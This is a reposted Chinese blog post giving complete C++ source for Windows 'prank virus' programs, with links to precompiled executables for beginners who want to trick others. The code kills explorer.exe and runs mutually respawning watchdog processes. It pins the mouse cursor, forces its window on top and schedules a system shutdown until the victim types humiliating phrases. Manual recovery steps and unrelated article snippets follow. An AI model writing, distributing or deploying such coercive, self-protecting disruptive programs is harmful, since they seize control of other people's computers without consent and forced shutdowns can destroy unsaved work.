[c++整人代码]超级加倍,让人承认自己是大傻猪

news2024/10/6 21:33:41

㊀程序介绍
这是本人看到的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字

㊁程序截图
1 本程序的窗口会自动保持最前
在这里插入图片描述

2 无法关闭本窗口
在这里插入图片描述

㊂代码展示:

#include <Windows.h>
#include <cstdio>

#define BUTTON_ID  10011            /*按钮ID*/

int chang, kuan;
HWND hwnd;   /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC         hdc ;
PAINTSTRUCT ps ;
RECT        rect;

int print( char words[] )
{
	hdc = BeginPaint(hwnd, &ps);
	/* TODO: Add any drawing code here... */
			
	GetClientRect(hwnd, &rect);
	DrawText(hdc, words, strlen(words), &rect, DT_CENTER);
	EndPaint(hwnd, &ps);
} 

int ckzq()/*刷新窗口*/
{
	HWND hForeWnd = NULL; 
	HWND hWnd= FindWindow(NULL, title); 
	DWORD dwForeID; 
	DWORD dwCurID; 
 
	hForeWnd =  GetForegroundWindow(); 
	dwCurID  =  GetCurrentThreadId(); 
	dwForeID =  GetWindowThreadProcessId( hForeWnd, NULL ); 
	
	AttachThreadInput  ( dwCurID, dwForeID, TRUE); 
	ShowWindow         ( hWnd, SW_SHOWNORMAL ); 
	
	SetWindowPos       ( hWnd, 
						 HWND_TOPMOST, 
						 0,0,0,0, 
						 SWP_NOSIZE|SWP_NOMOVE ); 
						 
	SetWindowPos       ( hWnd, 
						 HWND_NOTOPMOST, 
						 0,0,0,0, 
						 SWP_NOSIZE|SWP_NOMOVE ); 
						 
	SetForegroundWindow( hWnd ); 
	AttachThreadInput  ( dwCurID, dwForeID, FALSE);
}

int moddle( int x, int len )
{
	x = x/2;
	x = x-len;
	return x;
} 

int yndesktop;

int desk()
{
	system ( "explorer.exe" );
}

int kenren()
{
	int _exit = 0;
	
	MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
	auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
} 

/* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{ 
	static HWND btnWnd1;
	static bool flag=false;
	char szHello[]="哈哈哈!你被耍了";
	static HWND hBtn;
	static HWND hEdt;
	
	switch(message)
	{
		case WM_CREATE:
		{
			btnWnd1 = CreateWindow(TEXT("BUTTON"),
								   TEXT("X"),
								   WS_VISIBLE|WS_CHILD, /*按钮属性    */ 
								   chang-50,kuan-600,  /*按钮位置    */ 
								   25,25,             /*按钮大小    */ 
								   hwnd,			 /*窗口信息    */ 
								   (HMENU)BUTTON_ID,/*按钮子窗口ID*/
								   0,0);
								   
			hEdt   = CreateWindow(TEXT("EDIT"),                   /*创建输入框*/ 
								  TEXT("输入你的答案"),          /*输入框初始文字*/ 
								  WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/ 
								  moddle( chang, 100 ), moddle( kuan, 40 ),  					 /*输入框位置*/ 
								  200, 40, 					/*输入框大小*/ 
								  hwnd, 					   /*窗口信息*/ 
								  NULL, NULL, NULL);		  /*占位指针*/ 
								
    		hBtn =  CreateWindow(TEXT("BUTTON"), 
					 			 TEXT("确定"), 
								 WS_CHILD|WS_VISIBLE, 
								 moddle( chang, 100 )+50, moddle( kuan, 40 )+50, 
								 80, 20, 
								 hwnd, 
								 NULL, NULL, NULL);
			break; 
		}
		
		case WM_PAINT:
		{
		 	print ( "哈哈哈!你被耍了" ); 
			break; 
		}
		 
		case WM_COMMAND:              /*按钮消息WM_COMMAND来处理*/
		{
			int id = GetDlgCtrlID(hEdt);
   			switch(id-wp)
		   	{
	   			case 0:
		   		{
					char buf[256];
    				GetDlgItemText(hwnd, id, buf, 255);
					if (strcmp( "我是猪", buf ) == 0) 
					{
						system ( "cls" ); 
						printf ( "结果:你已承认你是猪" );
		
						if ( yndesktop == 1 ) 
						{
							MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
							MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
							desk();
							MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);
							printf ( "%d", 1/0 );
						}
						MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
						printf ( "%d", 1/0 );
					}
					else 
					{
						system ( "taskkill /f /im explorer.exe" );
						yndesktop = 1;
						system ( "cls" ); 
						MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);
						return 0;
					}
				}
				
				
				break;
			}
			switch(LOWORD(wp))        /*wParam的低字节为点击的按钮的ID*/
			{                     
				case BUTTON_ID:
				{
					kenren();
					flag = !flag;
					break;
				}
				
				default:break;
			}
			break;
		}
	
		case WM_DESTROY:
		{
			PostQuitMessage(0);
			return 0;
		}
		
		default:break;
	}
	return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
{
	//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/
	system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/
	system ( "cls" );
	WNDCLASS wndcls;        /*实例化*/
	wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/
	wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/
	wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH );  /*背景颜色,
	GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/
	wndcls.hCursor = LoadCursor(NULL, IDC_WAIT);  /*光标的类型        */
	wndcls.hIcon = LoadIcon(NULL, IDI_ERROR);    /*窗口图标          */
	wndcls.hInstance = hInstance;               /*应用程序的实例号  */
	wndcls.lpfnWndProc = WndProc;              /*窗口过程函数      */
	wndcls.lpszClassName = "你被耍了";        /*类名              */
	wndcls.lpszMenuName = NULL;              /*菜单名            */
	wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/ 
 	
 	int x = GetSystemMetrics( SM_CXFULLSCREEN );
	int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/  
 
 	chang = x - 200;
 	kuan  = y - 200;
 
	RegisterClass(&wndcls);   /*注册窗口类*/
  
	hwnd = CreateWindow("你被耍了",
						title,
						WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/ 
						100,100,
						chang,kuan,
						NULL,NULL,
						hInstance,
						NULL); /*建立一个窗口*/
						
	ShowWindow(hwnd, SW_SHOWNORMAL);   /*显示窗口*/
	UpdateWindow(hwnd);  /*更新窗口*/
 
	MSG msg;   /*消息机制*/
	while (GetMessage(&msg, NULL, 0, 0))    /*消息循环*/
	{
		ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/ 
		TranslateMessage(&msg);   /*传来的消息翻译*/
		DispatchMessage(&msg);    
	}
	return msg.wParam;
}


㊃最后还有几个编译时要注意的地方:
1 编译设置
连接器选项 添加 -lgdi32
编译设置
编译器选项 添加 -std=c++11
编译设置

㊄ 其他
1 我的编译教程不够详细,无法编译
作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6




然后,我又看到了一个升级版,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:

第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>	
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
void po()
{
	if(getProcess("整人代码-防护.exe") == 0){
		system("start 整人代码-防护.exe");
	} 
	if(getProcess("整人代码-防护2.exe") == 0){
		system("start 整人代码-防护2.exe");
	} 
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
} 
using namespace std;
int main()
{
	po();
	system("taskkill /f /t /im explorer.exe");
	string in;
	po();
	HWND hWnd = ::GetForegroundWindow();
	::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
	cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:"; 
	cin>>in;
	po();
	if(in == "我是猪"){
		cout<<"这是一个事实,哈哈哈\n";
		po();
		Sleep(5000);
		po();
		cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
		cin>>in;
		if(in == "我是大傻子"){
			po();
			cout<<"真乖,哈哈哈哈哈哈\n";
			Sleep(1000);
			po();
			cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	po();
	cout<<"很勇啊你,让我帮你关机吧!\n";
	system("shutdown -s -t 120");
	cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
	po();
	cin>>in;
	if(in == "我是大傻猪"){
		cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
		po();
		system("shutdown -a");
		Sleep(3000);
		po();
		cout<<"啥?\n";
		Sleep(3000);
		po();
		cout<<"我忘了什么东西?\n";
		Sleep(3000);
		po();
		cout<<"恢复啥?\n";
		Sleep(3000);
		po();
		cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
		cin>>in;
		po();
		if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
			cout<<"真乖,看我咻---";
			system("start explorer.exe");
			system("start 整人代码-kill.exe");
			return 0;
		}
	}
	cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
	system("start 整人代码-kill.exe");
	return 0;
}

第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
int main()
{
	ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
	while(1){
		if(getProcess("整人代码.exe") == 0){
			system("start 整人代码.exe");
		}
		if(getProcess("整人代码-防护2.exe") == 0){
			system("start 整人代码-防护2.exe");
		}
		if(getProcess("整人代码-kill.exe") == 1){
			break;
		}		
		HWND hWnd = ::GetForegroundWindow();
		::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		SetCursorPos(0,0);
	}
	return 0;
}

第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
int main()
{
	ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
	while(1){
		if(getProcess("整人代码-防护.exe") == 0){
			system("start 整人代码-防护.exe");
		}
		if(getProcess("整人代码-kill.exe") == 1){
			break;
		}
		HWND hWnd = ::GetForegroundWindow();
		::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		SetCursorPos(0,0);
	}
	return 0;
}

第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{
    char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
    strcpy(pName,procressName);                            //拷贝数组
    CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写
    PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体
    currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小
    HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
 
    if (hProcess == INVALID_HANDLE_VALUE)
    {
        return false;
    }
 
    bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息
    while(bMore)
    {
        CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写
        if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程
        {
            CloseHandle(hProcess);                                //清除hProcess句柄
            return true;
        }
        bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个
    }
 
    CloseHandle(hProcess);    //清除hProcess句柄
    return false;
}
using namespace std;
int main()
{
	while(getProcess("整人代码.exe")){
		system("taskkill /f /t /im 整人代码.exe");
	}
	return 0;
}

作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:

第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束

第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。

第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。

作用:

第一步:关闭程序

第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键

第三步:取消关机

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/425831.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【pinia持久化存储】使用pinia和pinia-plugin-persistedstate依赖进行数据的持久化存储

简言 使用pinia和pinia-plugin-persistedstate依赖进行数据的持久化存储。 存储方式 &#xff1a; localStoragesessionStorage pinia-plugin-persistedstate 中文官网 pinia 中文官网 安装 安装和使用 pinia &#xff0c;请参考使用pinia文章。 安装 pinia-plugin-pers…

使用PDF猫怎么将PNG图片转化成JPG格式图片?

如需了解更多办公应用的相关教程&#xff0c;可到赛效官方网站的应用资讯栏目或者应用问答栏目下查看更多。 TXT文本工具是微软操作系统上附带的一种文本格式&#xff0c;打开速度比较快&#xff0c;且记录文字内容时比较便捷且快速&#xff0c;但是很多时候记录成TXT文本的工…

八大排序算法(冒泡排序、快速排序、堆排序.....)

每坚持一天&#xff0c;offer就会离我更近一步&#x1f339; 文章目录冒泡排序选择排序插入排序希尔排序快速排序计数排序堆排序归并排序冒泡排序 算法描述&#xff1a;从第一个元素开始&#xff0c;两两比较&#xff0c;如果前者比后者大&#xff0c;那么就将两者进行交换&am…

[oeasy]python0133_[趣味拓展]颜文字_流石兄弟_表情文字_2ch_kaomoji

颜文字 回忆上次内容 上次我们了解unicode 里面有各种字体 甚至还有emoji emoji 本质上也是文字 按照unicode的方式编码存储时按照utf-8的方式编码显示时按照系统定义的方式进行显示 还有什么好玩的亚文化吗&#xff1f;&#x1f914; emoticon 1982 年 9 月 19 日 诞生了第…

docker安装rabbitmq的延迟队列插件

1.进入rabbitmq镜像 docker exec -it rabbitmq bash2.查看rabbitmq版本号&#xff0c;方便查找对应版本的延迟队列插件 rabbitmqctl version2.查询rabbitmq插件列表 rabbitmq-plugins list若没有rabbitmq_delayed_message_exchange-xxx.ez&#xff0c;则可以去[延迟队列插件…

win11家庭版 使用vm进行虚拟化的设置(此平台不支持虚拟化的 Intel VT-x/EPT。)

一、安装vm,进入BIOS设置虚拟化&#xff08;vm安装16.2以上版本&#xff09; 这个网上很多&#xff0c;就不说了 二、此时安装vm,创建虚拟机就没问题了&#xff0c;但是想继续再虚拟化&#xff0c;将会有一个问题“此平台不支持虚拟化的 Intel VT-x/EPT。” &#xff08;很多…

中移链系统合约管控功能介绍

中移链是在满足我国信息化监管需求、合规可控的前提下&#xff0c;打造的中国移动区块链服务平台。如果把中移链类比为计算机系统&#xff0c;那么系统合约就是中移链中的系统设置部分&#xff0c;用于配置和管理链的资源和行为。在计算机系统中,系统设置提供了对计算机系统的底…

SE11/SM30 维护视图

文章目录创建维护视图偶遇错误创建维护视图 首先我们现在SE11中创建一个透明表,然后点击如下图 需要我们创建一个函数组,他的目的是为了让系统生成相应的代码放在这个函数组中,也可以说是SM30的操作界面;点击上面的保存就可以了 注意在输入屏幕编号的时候切记不要和其他的维护…

ChatGPT背后的逻辑

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl OpenAI与ChatGPT OpenAI是一个美国的人工智能&#xff08;AI&#xff09;研究实验室&#xff0c;由非营利组织OpenAI Incorporated和其盈利子公司OpenAI Limited Partnersh…

HTTPS 加密简析

1 前言 HTTPS采用的是对称加密和非对称加密的混合加密方法。 密码学知识可以查看我的这篇博客 CISSP考试要求里的“应用密码学”内容辅助记忆趣味串讲_晓翔仔的博客-CSDN博客 2.HTTPS加密过程 https在建立链接时是非对称加密&#xff0c;建立链接后是对称加密。 步骤1 客户端…

初识掌控板2.0、官方拓展板和配套编程软件mpython

不是广告&#xff01;&#xff01;不是广告&#xff01;&#xff01; 一、掌控板2.0概览 掌控板又名掌上联网计算机&#xff0c;是一款为青少年学习Python编程和创意制造&#xff0c;特别是物联网应用而设计的开源硬件。内置microPython开源嵌入式Python运行环境&#xff0c;可…

怎么将静图变动图?用这个网站就够了

在使用聊天工具聊天时&#xff0c;大家都喜欢用一些动态的表情包&#xff0c;这种动态表情包就是gif格式图片。因为其生动丰富的画面能够通过一张图片表达多种信息。那么&#xff0c;如何生成gif图片呢&#xff1f;一、什么工具能够制作gif动画&#xff1f; GIF中文网作为一款…

allwinner boot0启动

目录 路径&#xff1a;u-boot-2018/arch/arm/cpu/armv7/sunxi/u-boot-spl.lds 路径&#xff1a;u-boot-2018/arch/arm/cpu/armv7/start.S 路径&#xff1a;u-boot-2018/arch/arm/lib/crt0.S 路径&#xff1a;u-boot-2014.07\common\board_f.c 路径&#xff1a;u-boot-2014.…

领英如何不让对方查看自己的好友,防止他人添加自己客户

那如何防止好友加自己的好友呢&#xff1f;其实领英是可以设置谁能查看到自己好友的&#xff0c;甚至不让所有人查看。 领英是一个关系性的职业社交平台&#xff0c;最大的特点就是关系性。彼此有某种关系的人或在3度内的人都可以查看对方的详细资料&#xff0c;甚至可添加对方…

Redis 如何配置读写分离架构(主从复制)?

文章目录Redis 如何配置读写分离架构&#xff08;主从复制&#xff09;&#xff1f;什么是 Redis 主从复制&#xff1f;如何配置主从复制架构&#xff1f;配置环境安装 Redis 步骤通过命令行配置从节点通过配置文件配置从节点Redis 主从复制优点Redis 主从复制缺点Redis 如何配…

第十四届蓝桥杯单片机省赛真题(巨简代码+超级详解)

文章目录前言一、陷阱分析二、代码相关定义、声明1.变量声明2.函数声明三、主要函数1.函数初始化 &#xff1a;关闭蜂鸣器、定时器初始化、设置时间、消除85℃影响、开启总中断2.按键扫描&#xff1a;长按松开清除数据&#xff0c;短按切换界面&#xff0c;加减参数3.数据采集与…

视频提取gif如何操作?教你用gif制作工具快速截取gif

从视频中提取gif动画就是将电影、电视剧中的某一段视频提取出来做成gif格式的动态图片。那么&#xff0c;如何使用电脑或是手机来将视频转换成gif动图呢&#xff1f; 一、使用什么工具能够完成视频转gif制作呢&#xff1f; 通过使用GIF中文网的视频转gif&#xff08;https://…

S型加减速速度给定功能块(SCL+梯形图)

S型加减速详细算法公式请参看下面博客文章,这里不再赘述: 博途PLC1200/1500PLC S型速度曲线变频器控制应用(SCL完整源代码)_RXXW_Dor的博客-CSDN博客PLC运动控制基础系列之梯形速度曲线,可以参看下面这篇博客:PLC运动控制基础系列之梯形速度曲线_RXXW_Dor的博客-CSDN博客运…

前段开发:配置VSCode像IDEA一样调试VUE项目

如果不配置VSCode调试&#xff0c;那么我们的前段项目一般都是在浏览器中的开发者工具中调试&#xff0c;这样对于使用习惯了IDEA开发调试的人特别不习惯&#xff0c;这几天个人研究了下VSCode中的代码调试功能&#xff0c;做以下记录&#xff1a; 1、使用插件调试&#xff1a…

应用DAP-seq技术鉴定百脉根中一个NAC转录因子在全基因上的靶基因,揭示硝酸盐诱导根瘤衰老的新机制

豆科植物通过与根瘤菌共生&#xff0c;形成能够固氮的根瘤。硝酸盐能够影响根瘤共生的过程&#xff0c;适宜浓度的硝酸盐促进结瘤固氮&#xff0c;而高浓度的硝酸盐抑制菌根共生&#xff0c;并且会促进根瘤衰老。NLP (NIN-Like Protein)转录因子调控硝酸盐信号转导&#xff0c;…